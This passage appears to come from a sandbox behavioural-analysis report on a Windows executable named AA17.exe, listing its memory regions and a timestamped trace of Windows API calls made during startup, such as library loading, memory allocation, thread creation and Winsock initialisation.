"\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8123 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 8124 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 8125 start_va = 0x1040000 end_va = 0x11c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001040000" filename = "" Region: id = 8126 start_va = 0x11d0000 end_va = 0x25cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011d0000" filename = "" Region: id = 8127 start_va = 0x7ffd4e270000 end_va = 0x7ffd4e2dafff monitored = 0 entry_point = 0x7ffd4e2890c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 8235 start_va = 0x160000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 8288 start_va = 0xc000000000 end_va = 0xc0003fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000c000000000" filename = "" Region: id = 8289 start_va = 0x25d0000 end_va = 0x2dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025d0000" filename = "" Region: id = 8290 start_va = 0x1a0000 end_va = 0x1c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 8311 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 8356 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 8382 start_va = 0x7ffd4cb10000 end_va = 0x7ffd4cb5afff monitored = 0 entry_point = 0x7ffd4cb135f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 8447 start_va = 0x2dd0000 end_va = 0x2fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 8448 start_va = 0x2fd0000 end_va = 0x31cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fd0000" filename = "" Region: id = 8449 start_va = 0x31d0000 end_va = 0x33cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000031d0000" filename = "" Region: id = 8454 start_va = 0x33d0000 end_va = 0x35cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000033d0000" filename = "" Region: id = 8634 start_va = 0xb00000 end_va = 0xb5bfff monitored = 0 entry_point = 0xb16f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 8635 start_va = 0x1f0000 end_va = 0x1f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 8636 start_va = 0xb60000 end_va = 0xb60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b60000" filename = "" Region: id = 8637 start_va = 0x35d0000 end_va = 0x39cafff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000035d0000" filename = "" Region: id = 8646 start_va = 0xb00000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 8725 start_va = 0x39d0000 end_va = 0x3a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039d0000" filename = "" Thread: id = 137 os_tid = 0xfe4 [0198.990] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="WriteFile") returned 0x7ffd4e1edcc0 [0199.013] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="WriteConsoleW") returned 0x7ffd4e1ee050 [0199.013] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="WaitForMultipleObjects") returned 0x7ffd4e1ed820 [0199.013] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="WaitForSingleObject") returned 0x7ffd4e1ed840 [0199.013] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="VirtualQuery") returned 0x7ffd4e1e3c10 [0199.014] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="VirtualFree") returned 0x7ffd4e1e32a0 [0199.014] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="VirtualAlloc") returned 0x7ffd4e1e28c0 [0199.014] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SwitchToThread") returned 0x7ffd4e1de370 [0199.014] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetWaitableTimer") returned 0x7ffd4e1ed800 [0199.014] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetUnhandledExceptionFilter") returned 0x7ffd4e1e6ea0 [0199.014] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetProcessPriorityBoost") returned 0x7ffd4e1ea3a0 [0199.014] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetEvent") returned 0x7ffd4e1ed7f0 [0199.014] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetErrorMode") returned 0x7ffd4e1e3ac0 [0199.103] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetConsoleCtrlHandler") returned 0x7ffd4e1ee020 [0199.104] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="LoadLibraryA") returned 0x7ffd4e1e74d0 [0199.104] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="LoadLibraryW") returned 0x7ffd4e1e50f0 [0199.104] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetSystemInfo") returned 0x7ffd4e1e6720 [0199.104] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetSystemDirectoryA") returned 0x7ffd4e1e3540 [0199.104] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetStdHandle") returned 0x7ffd4e1e3e80 [0199.104] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetQueuedCompletionStatus") returned 0x7ffd4e1dd5c0 [0199.104] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetProcessAffinityMask") returned 0x7ffd4e1e1660 [0199.104] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetProcAddress") returned 0x7ffd4e1e0b80 [0199.104] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetEnvironmentStringsW") returned 0x7ffd4e1e6790 [0199.105] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetConsoleMode") returned 0x7ffd4e1edfa0 [0199.105] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="FreeEnvironmentStringsW") returned 0x7ffd4e1e67a0 [0199.105] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="ExitProcess") returned 0x7ffd4e1e4d80 [0199.105] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="DuplicateHandle") returned 0x7ffd4e1ed660 [0199.105] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="CreateThread") returned 0x7ffd4e1e16f0 [0199.105] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="CreateIoCompletionPort") returned 0x7ffd4e1e4440 [0199.106] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="CreateEventA") returned 0x7ffd4e1ed6a0 [0199.106] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="CloseHandle") returned 0x7ffd4e1ed650 [0199.106] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="AddVectoredExceptionHandler") returned 0x7ffd50542650 [0199.106] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0xafff30 | out: lpflOldProtect=0xafff30*=0x2) returned 1 [0199.107] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0xafff30 | out: lpflOldProtect=0xafff30*=0x4) returned 1 [0204.015] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffd4e1c0000 [0204.015] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="AddDllDirectory") returned 0x7ffd4d6e8030 [0204.015] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="AddVectoredContinueHandler") returned 0x7ffd5055deb0 [0204.015] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetQueuedCompletionStatusEx") returned 0x7ffd4e1c1020 [0204.015] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="LoadLibraryExA") returned 0x7ffd4e1e6b80 [0204.015] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="LoadLibraryExW") returned 0x7ffd4e1e0dd0 [0204.015] LoadLibraryExA (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffd4e480000 [0204.043] GetProcAddress (hModule=0x7ffd4e480000, lpProcName="SystemFunction036") returned 0x7ffd4c591a10 [0204.348] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffd504d0000 [0204.348] GetProcAddress (hModule=0x7ffd504d0000, lpProcName="NtWaitForSingleObject") returned 0x7ffd50574dc0 [0204.348] LoadLibraryExA (lpLibFileName="winmm.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffd4b250000 [0206.035] GetProcAddress (hModule=0x7ffd4b250000, lpProcName="timeBeginPeriod") returned 0x7ffd4b253060 [0206.035] GetProcAddress (hModule=0x7ffd4b250000, lpProcName="timeEndPeriod") returned 0x7ffd4b253330 [0206.035] LoadLibraryExA (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffd4e270000 [0206.041] GetProcAddress (hModule=0x7ffd4e270000, lpProcName="WSAGetOverlappedResult") returned 0x7ffd4e284bf0 [0206.042] GetProcAddress (hModule=0x7ffd504d0000, lpProcName="wine_get_version") returned 0x0 [0206.422] SetErrorMode (uMode=0x2) returned 0x1 [0206.422] SetErrorMode (uMode=0x8003) returned 0x2 [0206.422] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x4602f0) returned 0xbacad0 [0206.422] RtlAddVectoredContinueHandler () returned 0xbac980 [0206.422] RtlAddVectoredContinueHandler () returned 0xbac8f0 [0206.422] SetConsoleCtrlHandler (HandlerRoutine=0x460320, Add=1) returned 1 [0206.423] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0206.658] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xaffeb8, lpSystemAffinityMask=0xaffeb0 | out: lpProcessAffinityMask=0xaffeb8, lpSystemAffinityMask=0xaffeb0) returned 1 [0206.658] GetSystemInfo (in: lpSystemInfo=0xaffec0 | out: lpSystemInfo=0xaffec0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0206.658] SetProcessPriorityBoost (hProcess=0xffffffffffffffff, bDisablePriorityBoost=1) returned 1 [0211.745] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x160000 [0215.397] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000000000 [0215.397] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x3000, flProtect=0x4) returned 0x25d0000 [0215.398] VirtualAlloc (lpAddress=0x0, dwSize=0x21080, flAllocationType=0x3000, flProtect=0x4) returned 0x1a0000 [0216.658] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x1d0000 [0217.588] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000000000 [0219.443] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x1e0000 [0220.610] VirtualAlloc (lpAddress=0xc000002000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000002000 [0220.624] SystemFunction036 (in: RandomBuffer=0x8f74e0, RandomBufferLength=0x80 | out: RandomBuffer=0x8f74e0) returned 1 [0220.624] VirtualAlloc (lpAddress=0xc000004000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000004000 [0220.626] VirtualAlloc (lpAddress=0xc000006000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000006000 [0220.806] GetEnvironmentStringsW () returned 0xbb0c20* [0220.808] VirtualAlloc (lpAddress=0xc000008000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000008000 [0220.950] VirtualAlloc (lpAddress=0xc00000a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000a000 [0220.951] VirtualAlloc (lpAddress=0xc00000c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000c000 [0220.952] VirtualAlloc (lpAddress=0xc00000e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000e000 [0220.952] VirtualAlloc (lpAddress=0xc000010000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000010000 [0220.953] VirtualAlloc (lpAddress=0xc000012000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000012000 [0220.954] VirtualAlloc (lpAddress=0xc000014000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000014000 [0220.954] FreeEnvironmentStringsW (penv=0xbb0c20) returned 1 [0220.954] LoadLibraryExA (lpLibFileName="powrprof.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffd4cb10000 [0221.094] GetProcAddress (hModule=0x7ffd4cb10000, lpProcName="PowerRegisterSuspendResumeNotification") returned 0x7ffd4cb11b80 [0221.372] PowerRegisterSuspendResumeNotification (in: Flags=0x2, Recipient=0xaffe20, RegistrationHandle=0xaffe08 | out: RegistrationHandle=0xaffe08) returned 0x0 [0221.557] VirtualAlloc (lpAddress=0xc000016000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000016000 [0221.899] VirtualAlloc (lpAddress=0xc000024000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000024000 [0221.899] VirtualAlloc (lpAddress=0xc000026000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000026000 [0222.161] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xaffe78, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xaffe78*=0xc0) returned 1 [0222.162] VirtualQuery (in: lpAddress=0xaffe98, lpBuffer=0xaffe98, dwLength=0x30 | out: lpBuffer=0xaffe98*(BaseAddress=0xaff000, AllocationBase=0x900000, AllocationProtect=0x4, __alignment1=0xfffff802, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffff9a84)) returned 0x30 [0222.347] VirtualAlloc (lpAddress=0xc00002e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00002e000 [0222.347] VirtualAlloc (lpAddress=0xc000030000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000030000 [0222.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4604f0, lpParameter=0xc00002e380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4 [0222.514] CloseHandle (hObject=0xc4) returned 1 [0223.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4604f0, lpParameter=0xc00002e700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc8 [0223.022] CloseHandle (hObject=0xc8) returned 1 [0223.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4604f0, lpParameter=0xc00002ea80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc [0223.204] CloseHandle (hObject=0xcc) returned 1 [0223.204] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xcc [0223.204] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd0 [0223.204] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0223.496] VirtualAlloc (lpAddress=0xc000038000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000038000 [0223.497] VirtualAlloc (lpAddress=0xc00003a000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003a000 [0223.499] SetEvent (hEvent=0xec) returned 1 [0223.499] VirtualAlloc (lpAddress=0xc000042000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000042000 [0223.500] VirtualAlloc (lpAddress=0xc000044000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000044000 [0223.501] SetEvent (hEvent=0xe0) returned 1 [0223.501] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0223.653] VirtualAlloc (lpAddress=0xc000046000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000046000 [0224.163] VirtualAlloc (lpAddress=0xc000048000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000048000 [0224.297] SetEvent (hEvent=0xd4) returned 1 [0224.298] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0224.550] VirtualAlloc (lpAddress=0xc00004a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004a000 [0224.560] VirtualAlloc (lpAddress=0xc00004c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004c000 [0224.790] VirtualAlloc (lpAddress=0xc00004e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004e000 [0224.868] VirtualAlloc (lpAddress=0xc000050000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000050000 [0224.869] VirtualAlloc (lpAddress=0xc000052000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000052000 [0224.935] SetEvent (hEvent=0xd4) returned 1 [0224.935] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0225.231] VirtualAlloc (lpAddress=0xc000056000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000056000 [0225.231] VirtualAlloc (lpAddress=0xc000058000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000058000 [0225.244] VirtualAlloc (lpAddress=0xc00005a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005a000 [0225.440] VirtualAlloc (lpAddress=0xc00005c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005c000 [0225.530] SetEvent (hEvent=0xd4) returned 1 [0225.530] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0225.784] VirtualAlloc (lpAddress=0xc00005e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005e000 [0227.245] SetEvent (hEvent=0xd4) returned 1 [0227.245] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0227.599] VirtualAlloc (lpAddress=0xc000060000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000060000 [0227.608] VirtualAlloc (lpAddress=0xc000062000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000062000 [0228.006] SetEvent (hEvent=0xd4) returned 1 [0228.006] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0228.401] VirtualAlloc (lpAddress=0xc000064000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000064000 [0228.420] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffd4e1c0000 [0228.506] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetStdHandle") returned 0x7ffd4e1e3e80 [0229.100] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0229.177] SetEvent (hEvent=0xd4) returned 1 [0229.194] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0229.574] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetHandleInformation") returned 0x7ffd4e1ed680 [0229.574] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0 [0229.628] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0229.628] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0 [0229.628] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0229.628] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0 [0229.638] VirtualAlloc (lpAddress=0xc000066000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000066000 [0229.639] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetSystemDirectoryW") returned 0x7ffd4e1e03c0 [0229.639] GetSystemDirectoryW (in: lpBuffer=0xc000066000, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0229.639] VirtualAlloc (lpAddress=0xc000068000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000068000 [0229.836] VirtualAlloc (lpAddress=0xc00006a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006a000 [0230.004] SetEvent (hEvent=0xd4) returned 1 [0230.004] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0230.223] VirtualAlloc (lpAddress=0xc00006c000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006c000 [0230.265] VirtualAlloc (lpAddress=0xc00007a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00007a000 [0230.411] VirtualAlloc (lpAddress=0xc00007c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00007c000 [0230.412] LoadLibraryExW (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffd4e270000 [0230.412] GetProcAddress (hModule=0x7ffd4e270000, lpProcName="WSAStartup") returned 0x7ffd4e284160 [0230.412] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc00002bc30 | out: lpWSAData=0xc00002bc30) returned 0 [0230.533] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="CancelIoEx") returned 0x7ffd4e1e76a0 [0230.533] VirtualAlloc (lpAddress=0xc00007e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00007e000 [0230.664] VirtualAlloc (lpAddress=0xc000086000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000086000 [0230.665] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetFileCompletionNotificationModes") returned 0x7ffd4e1e4da0 [0230.665] SetEvent (hEvent=0xd4) returned 1 [0230.665] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0230.792] GetProcAddress (hModule=0x7ffd4e270000, lpProcName="WSAEnumProtocolsW") returned 0x7ffd4e2883f0 [0230.792] WSAEnumProtocolsW (in: lpiProtocols=0xc000088d78, lpProtocolBuffer=0xc000088d80, lpdwBufferLength=0xc000088d74 | out: lpProtocolBuffer=0xc000088d80, lpdwBufferLength=0xc000088d74) returned 4 [0231.069] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetConsoleMode") returned 0x7ffd4e1edfa0 [0231.069] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc00008dd84 | out: lpMode=0xc00008dd84) returned 0 [0231.069] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetFileType") returned 0x7ffd4e1edac0 [0231.070] GetFileType (hFile=0x0) returned 0x0 [0231.070] VirtualAlloc (lpAddress=0xc00008e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008e000 [0231.070] VirtualAlloc (lpAddress=0xc000090000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000090000 [0231.071] SetEvent (hEvent=0xd4) returned 1 [0231.071] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0xb00000 [0231.086] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc00008dd84 | out: lpMode=0xc00008dd84) returned 0 [0231.086] GetFileType (hFile=0x0) returned 0x0 [0231.086] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc00008dd84 | out: lpMode=0xc00008dd84) returned 0 [0231.087] GetFileType (hFile=0x0) returned 0x0 [0231.183] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetCommandLineW") returned 0x7ffd4e1e6a00 [0231.183] GetCommandLineW () returned="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\AA17.exe" [0231.183] VirtualAlloc (lpAddress=0xc000092000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000092000 [0231.229] SetEvent (hEvent=0xe0) returned 1 [0231.229] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0231.638] VirtualAlloc (lpAddress=0xc000094000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000094000 [0231.639] VirtualAlloc (lpAddress=0xc000096000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000096000 [0231.652] VirtualAlloc (lpAddress=0xc000098000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000098000 [0231.785] SetEvent (hEvent=0xec) returned 1 [0231.785] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0231.970] VirtualAlloc (lpAddress=0xc00009a000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009a000 [0232.226] VirtualAlloc (lpAddress=0xc00009e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009e000 [0232.366] VirtualAlloc (lpAddress=0xc0000a0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a0000 [0232.527] SetEvent (hEvent=0xec) returned 1 [0232.527] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0232.795] VirtualAlloc (lpAddress=0xc0000a2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a2000 [0232.969] VirtualAlloc (lpAddress=0xc0000a4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a4000 [0232.982] VirtualAlloc (lpAddress=0xc0000a6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a6000 [0233.130] SetEvent (hEvent=0xec) returned 1 [0233.130] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0233.860] VirtualAlloc (lpAddress=0xc0000a8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a8000 [0233.861] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x39d0000 [0234.293] VirtualAlloc (lpAddress=0xc0000ac000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ac000 [0234.444] SetEvent (hEvent=0xec) returned 1 [0234.533] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0235.434] VirtualAlloc (lpAddress=0xc0000ae000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ae000 [0235.594] VirtualAlloc (lpAddress=0xc0000b0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b0000 [0235.805] SetEvent (hEvent=0xec) returned 1 [0235.805] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0236.185] VirtualAlloc (lpAddress=0xc0000b2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b2000 [0236.511] VirtualAlloc (lpAddress=0xc0000b4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b4000 [0236.759] SetEvent (hEvent=0xec) returned 1 [0236.759] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0237.664] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffd4e1c0000 [0237.850] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetStdHandle") returned 0x7ffd4e1e3e80 [0237.850] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0237.850] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetHandleInformation") returned 0x7ffd4e1ed680 [0237.850] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0 [0237.860] 